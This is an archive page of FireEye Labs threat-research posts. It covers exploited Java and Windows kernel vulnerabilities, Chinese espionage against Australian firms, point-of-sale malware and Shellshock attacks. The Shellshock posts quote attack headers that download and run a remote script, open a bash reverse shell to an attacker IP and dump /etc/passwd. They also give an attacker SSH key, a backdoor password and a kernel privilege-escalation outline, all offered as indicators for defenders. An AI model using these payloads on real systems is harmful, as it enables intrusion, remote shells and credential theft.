Category Archives: Threat Research

Technical posts by the FireEye Labs team

What are Java’s Biggest Vulnerabilities?

| By | Targeted Attack, Vulnerabilities |
Comments
0

In our continuing mission to equip security professionals against today’s advanced cyber threats, FireEye has published a free technical report, “A Daily Grind: Filtering Java Vulnerabilities.” The report outlines the three most commonly exploited Java vulnerabilities and maps out the step-by-step infection flow of exploits kits that leverage them.

  • CVE-2012-0507: is due to the improper implementation of AtomicReferenceArray() leading to the type confusion vulnerability.
  • CVE-2013-2465: which involves insufficient bounds checks in the storeImageArray() function. This vulnerability is used by White Lotus and other exploit kits.
  • CVE-2012-1723: which allows attackers to bypass sandbox using type confusion vulnerability.

These vulnerabilities are also being used in targeted attacks. Our report explains Java exploits’ three most common behaviors: usage of reflection to hide the function call, functional and data obfuscation and behavior to download the malicious files. Download the paper to learn more.

Two Limited, Targeted Attacks; Two New Zero-Days

| By , and | Targeted Attack, Threat Research, Vulnerabilities |
Comments
0

The FireEye Labs team has identified two new zero-day vulnerabilities as part of limited, targeted attacks against some major corporations. Both zero-days exploit the Windows Kernel, with Microsoft assigning CVE-2014-4148 and CVE-2014-4113 to and addressing the vulnerabilities in their October 2014 Security Bulletin.

FireEye Labs have identified 16 total zero-day attacks in the last two years – uncovering 11 in 2013 and five in 2014 so far.

Microsoft commented: “On October 14, 2014, Microsoft released MS14-058 to fully address these vulnerabilities and help protect customers. We appreciate FireEye Labs using Coordinated Vulnerability Disclosure to assist us in working toward a fix in a collaborative manner that helps keep customers safe.”

In the case of CVE-2014-4148, the attackers exploited a vulnerability in the Microsoft Windows TrueType Font (TTF) processing subsystem, using a Microsoft Office document to embed and deliver a malicious TTF to an international organization. Since the embedded TTF is processed in kernel-mode, successful exploitation granted the attackers kernel-mode access. Though the TTF is delivered in a Microsoft Office document, the vulnerability does not reside within Microsoft Office.

CVE-2014-4148 impacted both 32-bit and 64-bit Windows operating systems shown in MS14-058, though the attacks only targeted 32-bit systems. The malware contained within the exploit has specific functions adapted to the following operating system platform categories:

  • Windows 8.1/Windows Server 2012 R2
  • Windows 8/Windows Server 2012
  • Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1)
  • Windows XP Service Pack 3

CVE-2014-4113 rendered Microsoft Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, and Windows Server 2008/R2 vulnerable to a local Elevation of Privilege (EoP) attack. This means that the vulnerability cannot be used on its own to compromise a customer’s security. An attacker would first need to gain access to a remote system running any of the above operating systems before they could execute code within the context of the Windows Kernel. Investigation by FireEye Labs has revealed evidence that attackers have likely used variations of these exploits for a while. Windows 8 and Windows Server 2012 and later do not have these same vulnerabilities.

Information on the companies affected, as well as threat actors, is not available at this time. We have no evidence of these exploits being used by the same actors. Instead, we have only observed each exploit being used separately, in unrelated attacks.

About CVE-2014-4148

Mitigation

Microsoft has released security update MS14-058 that addresses CVE-2014-4148.

Since TTF exploits target the underlying operating system, the vulnerability can be exploited through multiple attack vectors, including web pages. In the past, exploit kit authors have converted a similar exploit (CVE-2011-3402) for use in browser-based attacks. More information about this scenario is available under Microsoft’s response to CVE-2011-3402: MS11-087.

Details

This TTF exploit is packaged within a Microsoft Office file. Upon opening the file, the font will exploit a vulnerability in the Windows TTF subsystem located within the win32k.sys kernel-mode driver.

The attacker’s shellcode resides within the Font Program (fpgm) section of the TTF. The font program begins with a short sequence of instructions that quickly return. The remainder of the font program section is treated as unreachable code for the purposes of the font program and is ignored when initially parsing the font.

During exploitation, the attacker’s shellcode uses Asynchronous Procedure Calls (APC) to inject the second stage from kernel-mode into the user-mode process winlogon.exe (in XP) or lsass.exe (in other OSes). From the injected process, the attacker writes and executes a third stage (executable).

The third stage decodes an embedded DLL to, and runs it from, memory. This DLL is a full-featured remote access tool that connects back to the attacker.

Plenty of evidence supports the attacker’s high level of sophistication. Beyond the fact that the attack is zero-day kernel-level exploit, the attack also showed the following:

  • a usable hard-coded area of kernel memory is used like a mutex to avoid running the shellcode multiple times
  • the exploit has an expiration date: if the current time is after October 31, 2014, the exploit shellcode will exit silently
  • the shellcode has implementation customizations for four different types of OS platforms/service pack levels, suggesting that testing for multiple OS platforms was conducted
  • the dropped malware individually decodes each string when that string is used to prevent analysis
  • the dropped malware is specifically customized for the targeted environment
  • the dropped remote access capability is full-featured and customized: it does not rely on generally available implementations (like Poison Ivy)
  • the dropped remote access capability is a loader that decrypts the actual DLL remote access capability into memory and never writes the decrypted remote access capability to disk

About CVE-2014-4113

Mitigation

Microsoft has released security update MS14-058 that addresses this vulnerability.

Vulnerability and Exploit Details

The 32-bit exploit triggers an out-of-bounds memory access that dereferences offsets from a high memory address, and inadvertently wraps into the null page. In user-mode, memory dereferences within the null page are generally assumed to be non-exploitable. Since the null page is usually not mapped – the exception being 16-bit legacy applications emulated by ntvdm.exe-null pointer dereferences will simply crash the running process. In contrast, memory dereferences within the null page in the kernel are commonly exploited because the attacker can first map the null page from user-mode, as is the case with this exploits. The steps taken for successful 32-bit exploitation are:

  1. Map the null page:
    1. ntdll!ZwAllocateVirtualMemory(…,BaseAddress=0×1, …)
  2. Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode
    1. Callback overwrites EPROCESS.Token to elevate privileges
  5. Spawns a child process that inherits the elevated access token

32-bit Windows 8 and later users are not affected by this exploit. The Windows 8 Null Page protection prohibits user-mode processes from mapping the null page and causes the exploits to fail.

In the 64-bit version of the exploit, dereferencing offsets from a high 32-bit memory address do not wrap, as it is well within the addressable memory range for a 64-bit user-mode process. As such, the Null Page protection implemented in Windows versions 7 (after MS13-031) and later does not apply. The steps taken by the 64-bit exploit variants are:

  1. Map memory page:
    1. ntdll!ZwAllocateVirtualMemory(…)
  2. Build a malformed win32k!tagWND structure at the mapped page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode
    1. Callback overwrites EPROCESS.Token to elevate privileges
  5. Spawns a child process that inherits the elevated access token

64-bit Windows 8 and later users are not affected by this exploit. Supervisor Mode Execution Prevention (SMEP) blocks the attacker’s user-mode callback from executing within kernel-mode and causes the exploits to fail.

Exploits Tool History

The exploits are implemented as a command line tool that accepts a single command line argument – a shell command to execute with SYSTEM privileges. This tool appears to be an updated version of an earlier tool. The earlier tool exploited CVE-2011-1249, and displays the following usage message to stdout when run:

Usage:system_exp.exe cmd
Windows Kernel Local Privilege Exploits

The vast majority of samples of the earlier tool have compile dates in December 2009. Only two samples were discovered with compile dates in March 2011. Although the two samples exploit the same CVE, they carry a slightly modified usage message of:

Usage:local.exe cmd
Windows local Exploits

The most recent version of the tool, which implements CVE-2014-4113, eliminates all usage messages.

The tool appears to have gone through at least three iterations over time. The initial tool and exploits is believed to have had limited availability, and may have been employed by a handful of distinct attack groups. As the exploited vulnerability was remediated, someone with access to the tool modified it to use a newer exploit when one became available. These two newer versions likely did not achieve the widespread distribution that the original tool/exploits did and may have been retained privately, not necessarily even by the same actors.

We would like to thank Barry Vengerik, Joshua Homan, Steve Davis, Ned Moran, Corbin Souffrant, Xiaobo Chen for their assistance on this research.

Double-edged Sword: Australia Economic Partnerships Under Attack from China

| By | Threat Intelligence, Threat Research |
Comments
0

During a visit in mid-September, China’s Foreign Minister Wang Yi urged Australia to become “a bridge between east and west.” He was Down Under to discuss progress on the free trade agreement between Australia and China that seems likely by the end of the year. His comment referred to furthering the trade relationship between the two countries, but he might as well have been referring to hackers who hope to use the deepening alliance to steal information.

The Australian Financial Review (AFR) did an in-depth article with FireEye regarding Chinese attacks against Australian businesses, and this blog provides additional context.

Australia has experienced unprecedented trade growth with China over the last decade, which has created a double-edged sword. As Australian businesses partner with Chinese firms, Chinese-based threat actors increasingly launch sophisticated and targeted network attacks to obtain confidential information from Australian businesses. In the U.S. and Europe, Chinese attacks on government and private industry have become a routine in local newspapers. Australia, it seems, is the next target.

The Numbers

First, let’s review the state of Australian and Chinese economic interdependence. Averaging an annual 9.10% GDP growth rate over the last two decades, China’s unparalleled economic expansion has protected Australia from the worst of the global financial crisis effects. Exports to China have increased tenfold, from $8.3b USD in 2001 to $90b USD in 2013[i], with the most prominent commodities being iron ore and natural gas. Much of these resources originate in Australia, which puts China’s government under significant pressure to meet the skyrocketing demand for them. Despite the ever-increasing co-dependence Australia and China share as regional partners, Chinese authorities are likely supporting greater levels of monitoring and intelligence gathering from the Australian economy - often conducted through Chinese State-Owned Enterprises (SOEs) with domestic relationships in Australia.

SOE direct investment into Australia grew to 84% of all foreign investment inflows from China in 2014, primarily directed into the Australian mining and resource sector; demonstrating a further signal for control as China seeks to capture a level of certainty in catering for its future internal growth. We suspect this to be government-commissioned cyber threat actors targeting Australian firms with a specific agenda: to gain advantage and control of assets both in physical infrastructure and intellectual property.

chn

Figure 1. Chinese Direct Investment into Australia by industry

The Impacts

How have these partnerships impacted Australian networks? Mandiant has observed the strategic operations of Chinese threat actors target companies involved in key economic sectors, including data theft from an Australian firm. Chinese Advanced Persistent Threats (APTs) are likely interested in compromising Australian mining and natural resources firms, especially after spikes in commodity prices. The upward trend in APT attacks from China is also aimed toward the third parties in the mining and natural resources ecosystems. Mandiant believes a significant increase in China-based APT intrusions focused on law firms that hold confidential mergers and acquisitions information and sensitive intellectual property. It is no coincidence these third-party firms are often found lacking in network protections. The investigation also found that, at the time of compromise, the majority of victim firms were in direct negotiations with Chinese enterprises, highlighting attempts by the Chinese government to gain advantage in targeted areas.

Due to its endemic pollution problems, clean energy has evolved into a critical industry for China. The country has now engaged a plan to develop Strategic Emerging Industries (SEIs) to address this. Australian intellectual property and R&D have become prime data, and has taken a major position in Chinese APT campaigns. Again, it is the third parties like law firms that are coming under attack.

Furthermore, to reduce China’s reliance on Australian iron ore exports, Beijing has initiated a plan to develop an efficient, high-end steel production vertical through strategic acquisitions in Australia and intervening to prevent unfavorable alliances. For example, the SOE Chinalco bought into Australian mining companies to presumably prevent a merger that would have disadvantaged their interests. Clearly, the confidential business information of Australian export partners to China is becoming increasingly sought after.

Mandiant found that the majority of compromised firms had either current negotiation with Chinese enterprises or previous business engagements with Chinese enterprises. These attacks will persist as trade and investment grows, though they will do so at the cost of confidential Australian business information such as R&D and intellectual property. As large Australian mining and resources firms themselves may partner with the Australian Signals Directorate for security, the focus of the threat actors shifts to associated parties with access to sensitive data, who may not be pursuing partnerships with the Australian Signals Directorate. This calls for greater awareness and protection against the increasingly determined and advanced attacks launched.

The Bottom Line

Although this blog focuses on acts against large Australian mining and resources sectors, Mandiant has observed these APT actors often focusing their attention on other sectors such as defence, telecommunications, agriculture, political organizations, high technology, transportation, and aerospace, among others. But the broader lesson and message—drawing from U.S. and European experience with Chinese attacks—is that no one is or will be exempt. For all Australian businesses and governments, it’s time to fortify defences for a new era of cyber security.

 

[i]“Australian Government Department of Foreign Trade and Affairs. www.dfat.gov.au/publications/stats-pubs/australiasexports-

 

Data Theft in Aisle 9: A FireEye Look at Threats to Retailers

| By | Targeted Attack, Uncategorized |
Comments
0

While cybercriminals continue to target the payment card and banking information of individual users, they seem increasingly aware that compromising retailers is more lucrative. Targeting retailers is not new; Albert Gonzales infamously targeted retailers nearly a decade ago. What has changed, however, is the wide availability of tools and know-how that make it possible for even relatively unskilled cybercriminals to commit large-scale attacks. The results speak for themselves – significant breaches at retailers have increased over the last few years, and the trend continues. In fact, the Verizon Data Breach Investigations Report called 2014 the “year of the retailer breach” due to the number of large-scale attacks.

Not only are breaches at retailers occurring more regularly, FireEye researchers have noticed another startling new trend: while much of this activity is not initially targeted in nature, it can easily transition to a targeted attack when the attackers realize the value of the network they have compromised. The convergence of the wide availability of malware tools specifically built for point-of-sale (POS) systems and indiscriminate botnets, combined with targeted attack activity, suggest that network defenders struggle to determine the levels of threat severity and adversary sophistication. Simply put: What may initially seem like a “simple” crimeware infection may actually be a vector through which targeted actors can purchase or rent access to their victims.

POS Malware: A History Lesson

Since 2013 we have seen a dramatic increase in the number of malware threats specifically focused on POS systems. This uptick is like any other market dynamic — there’s a lot of data residing in retailers’ networks, and threat actors are adapting and evolving to take advantage of what’s at stake. Robust underground markets and an enterprise-like cyber criminal ecosystem enable threat actors to develop and trade their wares. What follows is a summary of some of the most major POS malware families and their similarities:

  • Backoff POS – The Backoff attacks were publicly disclosed in July 2014 but the campaign itself was active in October 2013. The attackers reportedly brute forced remote desktop servers and installed the Backoff malware. Backoff is capable of extracting payment card data by scraping memory, and exfiltrating data over HTTP. Backoff’s Command-and-Control (C2) servers are connected to servers used to host Zeus, SpyEye and Citadel, suggesting Backoff may be connected to a broader series of attacks.
  • BrutPOS – The BrutPOS malware was documented in July 2014. This botnet scans specified ranges of IP addresses for remote desktop servers and if a POS system is found, the attackers may deploy another variant that scans the memory of running processes to extract payment card information. BrutPOS exfiltrates data over FTP.
  • Soraya – The Soraya POS malware was disclosed in June 2014. It iterates through running processes and accesses memory to extract payment card data. Soraya also has form-grabbing capabilities and exfiltrates data over HTTP.
  • Nemanja – The details of the Nemanja were disclosed in May 2014 and the botnet is believed to have been active throughout 2013. The attackers compromised an array of POS machines worldwide running a variety of POS software. The attackers were reportedly directly engaged in the production of fake payment cards and money laundering using mobile POS solutions.
  • JackPOS – The JackPOS malware was reported in February 2014 and was reportedly originally spread using “drive-by” download attacks. The malware, which appears to be somewhat related to the Alina malware, is capable of scraping memory to acquire payment card data and exfiltrate it over HTTP. JackPOS is now widely available on underground forums and is used by a variety of actors.
  • Decebal – The Decebal POS malware was first reported in January 2014. The malware enumerates running processes and extracts payment card information, which is then exfiltrated over HTTP.
  • ChewBacca – The ChewBacca malware was first disclosed in December 2013. This malware enumerates running processes and accesses memory to extract information using two regular expressions that match payment card data formats. This malware uses the Tor anonymity network for data exfiltration.
  • BlackPOS – The BlackPOS malware, sold on underground forums by an individual believed to be “ree4,” was first reported March 2013 and is now widely available. This malware, which has a variant also known as KAPTOXA, scrapes memory to obtain payment card data. This data is typically transferred to a local staging point and then exfiltrated using FTP. The malware is best known for its reported role in several highly publicized breaches.
  • Dexter – The Dexter POS malware was first disclosed in December 2012 and is believed to have been developed by an actor known as “dice,” (who may also have been involved with the development of the Alina POS malware); the actual use of the tool has been connected to an individual known as “Rome0″. The malware iterates through running processes, accesses memory looking for payment card data, and exfiltrates it over HTTP.

Most of these malware families use a similar approach of enumerating running processes and using pattern matching to extract payment card information from running processes. However, in at least one case, a BlackPOS variant was configured to only access a specific process. This not only makes it less noisy, but indicates that the attackers knew what process to target on the compromised system. This development, along with some hardcoded network paths and usernames, may indicate specific targeting by the attackers.

Indiscriminate vs. Targeted Attacks

While some malware appears to have been used exclusively by particular threat actors, some variants are now widely available. In many cases, it appears that the POS-specific malware was used as a “second stage” attack, while the initial vector remains unclear. In the case of Alina and BackOff, for example, the POS malware was connected to Citadel, Zeus and SpyEye botnets. While the details remain unclear, the attackers may be selling or trading access to particular targets.

In other cases, the attackers appear to be much more specific with their targeting. One particular threat group will engage in periods of reconnaissance for months before engaging with the target. We also observed this group using SQL injection as an attack vector, deploying POS-specific malware after moving laterally through the compromised network.

Conclusion

These developments challenge the traditional conceptions of risk when it comes to network defense. While targeted attacks (including those associated with APT activity) can be tracked and clustered over time (by understanding the tools, techniques and procedures used by the threat actors, as well as their timing, scope and targeting preferences), it is difficult to prioritize incidents that began indiscriminately and transitioned into targeted attack activity. Is a simple, indiscriminate Zeus infection a noteworthy incident? Or will it pass largely unnoticed … only to transform into a significant breach?

Acknowledgements

We would like to thank Kyle Wilhoit, Jen Weedon and Chris Nutt.

 

 

The Shellshock Aftershock for NAS Administrators

| By and | Threat Research, Vulnerabilities |
Comments
0

Summary

FireEye has been monitoring Shellshock-related attacks closely since the vulnerability was first made public last week. Specifically, FireEye has observed attackers attempting to exploit the BASH remote code injection vulnerability against Network Attached Storage systems (NAS). These attacks result in the hackers having a root level remote shell, gaining full access to the contents of the NAS. The observed targets have been primarily located in Japan and Korea with one additional target observed in the US. The only known data on the attackers currently are that two of their malware host servers are located in Korea and the US.

NAS systems are used by enterprises to store large volumes of files and house databases, as well as by consumers for personal storage. This makes an NAS an attractive target for attackers given the broad types of data they handle. In this case, the attackers can gain full access the NAS contents as well as execute other commands.

Based on the sheer number of devices which run an embedded Linux OS and the time-to-patch window, we feel the potential for widescale compromise of network-connected personal and business data storage systems is very high at this time. As many smart- or connected-devices utilize similar set-ups, this represents one of the first in the wild Shellshock attack against IoT-type devices.

We have evidence that attackers are actively exploiting the time-to-patch window and targeting embedded devices, specifically those made by QNAP, in order to append their SSH key to the authorized_keys file and install an ELF backdoor.

Background

This particular attack, on a popular brand of network attached storage devices, is an excellent example of the type of threat currently facing devices that run an embedded Linux operating system. As stated on the manufacturer’s website:

“QNAP Inc. is the worldwide leading storage system provider who is one of the top 2 NAS provider in the sub $5k business segment according to Gartner Research Group in 2010. The product line covers NAS, NVR video surveillance, and network media players to consumer, small/medium business, and enterprise market segments.”

Virtually all of their devices run an embedded Linux OS that is vulnerable to CVE-2014-6271 if left unpatched. This includes personal and business network storage as well as professional video surveillance systems used in a variety of industries. This vulnerability is particularly severe because it grants root privileges to the attacker, and proof of concept exploit code is publicly discussed here.

shell1

Figure 1 – QNAP product specification page listing Embedded Linux as the OS.

According to the press release from QNAP, users are advised to disconnect systems that are directly accessible from the Internet until the proper update is applied. However, this would not prevent hackers from moving laterally and compromising the device from another machine on the network. At the time of this writing QNAP has released an update, which is available here.

THE ATTACK

Starting approximately September 26, 2014, FireEye detected thousands of attempts at accessing /cgi-bin/ directories over TCP port 8080. While this may not seem all that unusual given the current storm of Shellshock scans, it is notable because scans that contain commands to fetch additional files occur far less frequently.

The attack vector observed was the administrative login page located at /cgi-bin/authLogin.cgi.

shell2

Figure 2 – Example QNAP NAS appliance login pages

Vulnerable CGI pages can be tested for Shellshock via a simple test from the command line. For example if we wanted to test an Apache web server, from a test system with curl installed, issue the following HTTP request:

 

Figure_3_curl_ping

Figure 3 – command line test for Shellshock using Curl.

Where 192.168.101.131 is the webserver we are testing for Shellshock.

The above test will send 5 ICMP Ping packets from the vulnerable server to 192.168.101.130 (change IP’s to suit).

If the system returns an Error 500 and you see an ICMP ping from the target system then you know the attack worked.

shell4

Figure 4 – Example request to a vulnerable Linux web server w/ response code 500

shell5

Figure 5 – Wireshark view of ICMP pings from the vulnerable web server

shell6

Figure 6 – view of offending HTTP header used in our test

An even simpler test is available if the system is directly connected to the internet (and we found many of these devices are). Simply use any of the freely available Shellshock test sites and point them to the administration page of the device.

shell7

Figure 7 – Example results against an openly accessible QNAP NAS

We should mention that QNAP devices are not the only devices we saw with administrative pages in the/cgi-bin/ path on port 8080. HP printers were also caught in the crossfire. However we did not confirm whether these devices were actually vulnerable and do not believe they were the intended target of this attack.

All the targets we have observed thus far have been openly accessible QNAP NAS systems hosted on networks belonging to Universities and Research Institutes in Japan and Korea, as well as one in the US.

The exploit attempts targeting QNAP devices that were detected by FireEye attempted to instruct the system to download a script. When executed, the script would modify the NAS device’s startup environment; copy an SSH key; and then retrieve a Linux ELF binary.

The “curl” command was injected into the User-Agent field of an HTTP request to the NAS, which instructed the device to craft a custom HTTP request to nova.ddns.us. This resolves to an IP located in Korea.

shell8
Figure 8 – the malicious GET request observed in the attack

The above request was observed leveraging the exploit to download files from 118.218.219[.]179. This is akin to an administrator (UID=0) being logged in to the device and copying files from an external server to the “/root” directory and executing them. However, in this case, it’s all happening quietly behind the scenes without any user interaction.

shell9

Figure 9 – IP & Geo location info for the Korea located server hosting malicious files.

We detected a second server in the US at IP 107.191.116[.]167.

GET /cgi-bin/authLogin.cgi HTTP/1.1

User-Agent: () { :;}; /sbin/curl http://107.191.116[.]167/once -o /root/once;/bin/sh /root/once

shell10

Figure 10 – IP & Geo location info for the US server hosting malicious files.

If the request is successful in exploiting the NAS system, it will proceed to download a file named “once.” This file is a shell script intended to copy additional scripts to the “/root” directory of the NAS as well as an SSH key to facilitate future logins.

shell11

Figure 11 – contents of “once”, note the mis-spelled “autorized_keys.”

The script quietly sets the NAS’s local DNS to use Google’s DNS servers and then uses wget or curl to retrieve additional files and copy them from the host seen in the User-Agent field of the Shellshock tainted request. In this case they are coming from dynamic DNS hosted nova.ddns.us (still up at the time of this writing).

hXXp://nova.ddns[.]us/authorized_keys to à /root/.ssh/authorized_keys

hXXp://nova.ddns[.]us /autorun.sh to à $local_path/autorun.sh

The script then downloads an ELF backdoor to the local system.

hXXp://nova.ddns[.]us/term_$arch à $local_path/term

Where $arch contains a string representing the machine’s architecture, as output by “uname –m.”

In this case we used “x86_64” making the path to the desired file

hXXp://nova.ddns.us/term_x86_64.

We were also able to retrieve a 32 bit version named “term_i686”.

Both files are Linux ELF binaries unknown to VT at time of analysis:

64bit file MD5: 24bdef31e71342ae413bd2d6ee766564

32bit file MD5: 87a8da400230500026f674c9d0452a11

COPIED SSH KEY

An interesting component of the attack is the script also attempts to copy an SSH key to the local authorized_keys file on the NAS device, this allows future password-less logins, creating a backdoor for the attacker to the NAS device.

The contents of SSH key from nova.ddns.us/authorized_keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

The script also overwrites the local qpkg.conf file, which is the autostartup configuration file native to QNAP Network Attached Storage systems. This essentially configures the NAS appliance to autorun the “autorun.sh” script and maintains persistence for the attackers.

The autorun.sh script then looks for the directory “/share/MD0_DATA” which is a common share path for QNAP Network Attacked Storage systems. If this directory is not found, it goes on to search for other available directories with “share” in the name. The share directory is used to build the base installation directory for the malware.

shell12

Figure 12 – contents of autorun.sh script

The script also has its own update mechanism that will run every time the autostart is kicked off. The contents of update.sh were empty when checked however we speculate attackers would modify it at some point.

THE ELF BACKDOOR

The downloaded ELF executable, named term_x86_64 or term_i686 depending on the architecture of the victim’s OS, is a backdoor that provides shell access to the attacker.

It can be invoked in 3 different ways, providing some options for the attacker.

  • Running it with no arguments will have the executable listen for connections on port 58273.
  • Running it with 1 argument will have it listen for connections on the port number specified in the argument.
  • Running it with 2 arguments has it make an outbound connection to the host specified in the first argument using the port specified in the second argument.

In the cases where the backdoor is listening for a connection, a password is required before shell access is granted. Sending a packet containing the text “IAMYOURGOD” will have the malware setup and serve the shell to you, otherwise it closes the connection. In the attacks we have seen, this backdoor is executed with no arguments and hence will listen for connections on port 58273.

INDICATORS

The following indicators may help in identifying if your system has been compromised.

SSH KEY

Presence of the following ssh key anywhere on your system indicates that the attacker was successful in copying the key.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

Logs

Checking web logs for presence of HTTP requests using the string of bytes used in a Shellshock attack may also help identify exposed systems.

Requests will contain the characters “() { “ (HEX: 28 29 20 7b 20) somewhere in the HTTP header or URI.

LINUX Malware

64 BIT ELF binary

Filename: term_x686_64

MD5: 24bdef31e71342ae413bd2d6ee766564

 

32 BIT ELF binary

Filename: term_i686

MD5: 87a8da400230500026f674c9d0452a11

 

Network Activity: TCP Port 58273

 

 

Shellshock in the Wild

| By , and | Threat Research |
Comments
0

The exploitation of the BASH bug, now widely referred to as “Shellshock”, is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including:

  • Malware droppers
  • Reverse shells and backdoors
  • DDoS

Some of this suspicious activity appears to be originating from Russia.

We suspect bad actors may be conducting an initial dry run, in preparation for a real, potentially larger-scale attack. We believe it’s only a matter of time before attackers exploit the vulnerability to redirect users to malicious hosts, which can result in further compromise.

The initial patch for this vulnerability (CVE-2014-6271), which was released in sync with the vulnerability’s public disclosure, was quickly found to be inadequate. It’s worth noting that the incomplete patch did not introduce new vectors, but was inadequate to close the hole created by the original bug. Vendors are scrambling to make a second patch (CVE-2014-7169) available, with varying degrees of success and timeliness.

So far, attackers have deployed scanners looking for vulnerable machines that have been bombarding networks with traffic since mid-day Wednesday. Through threat intelligence collected from FireEye’s Dynamic Threat Intelligence (DTI) center, we are seeing frenzied activity all over the world. While much of it seems to be the result of curious individuals and security researchers, there is abundant evidence that malicious actors are rushing to take advantage of this bug as well.

The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn’t stop at web servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability. In other words, web applications relying on a specific type of user input can be manipulated to make clients (i.e., consumers) vulnerable to attack. The list of potentially vulnerable systems is long indeed, including everything from traditional home users and enterprise servers to Unix-based ISC/SCADA systems and embedded devices.

Given the sheer number of vulnerable systems, the severity of exploitation outcomes and the relative ease of exploitation, we expect to see significant use of this vulnerability by malicious actors, particularly in automated attacks.

The full extent and reach of the BASH Shellshock bug is still unknown. The bug has existed in BASH’s code for over two decades and BASH is integrated deeply into many organizations’ systems and architectures. Almost any type of internet-connected device that uses the BASH shell can be affected. While home users and traditional servers may be able to patch their way out of danger, many embedded devices and Unix-based ICS/SCADA systems don’t have access to such an easy recourse.

Vector & Vulnerability Analysis

Since the vulnerability was publicly disclosed on Wednesday, the focus has largely been on the CGI vector, which predominantly affects web servers. When a web server executes CGI content, it creates environment variables for each of the HTTP request parameters. This includes GET URI parameters, POST content body parameters and all HTTP headers. The script will then have access to the request parameters by accessing the environment. If the CGI content uses BASH at any point, by calling BASH directly, through a sub-process call, or by invoking a shell command (when BASH is the default shell), the vulnerability will be triggered. In other words, your CGI server might be vulnerable even if your CGI content doesn’t directly include BASH scripts.

The salient points to keep in mind about the CGI vector, is that it can be delivered by any HTTP request parameter, the server doesn’t have to directly call BASH scripts for it to be vulnerable, and it is OS agnostic. Its only dependencies are the web server, the CGI content it hosts, and the use of BASH as the shell.

DHCP clients based on the reference implementation from the Internet Systems Consortium can manipulate environment variables using data taken from the DHCP server. This makes it another remote vector for the BASH bug. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation.

A SSH vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.

Exploitation Techniques

The Shellshock traffic we have been able to observe is still quite chaotic. It is largely characterized by high volume automated scans and PoC-like exploit scripts.

The following is brief analysis of some of the exploitation techniques that we have observed in Shellshock traffic. Each technique includes a traffic sample with relevant HTTP headers and a description of the exploit mechanism.

Automated Click Fraud

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.

Accept: () { :;}; /bin/ -c "curl
http://31.41.42[.]109/search/wphp/j.php?cgi=XXX

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null
http://ad.dipad[.]biz/test/http://XXXXXX.com/"

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

GET /cgi-bin/ HTTP/1.1
Host: <SERVER_IP>
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1'

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.

Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

Stealing the Password File

GET /cgi-bin/status/status.cgi HTTP/1.1
Host: <SERVER_DOMAIN>
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.

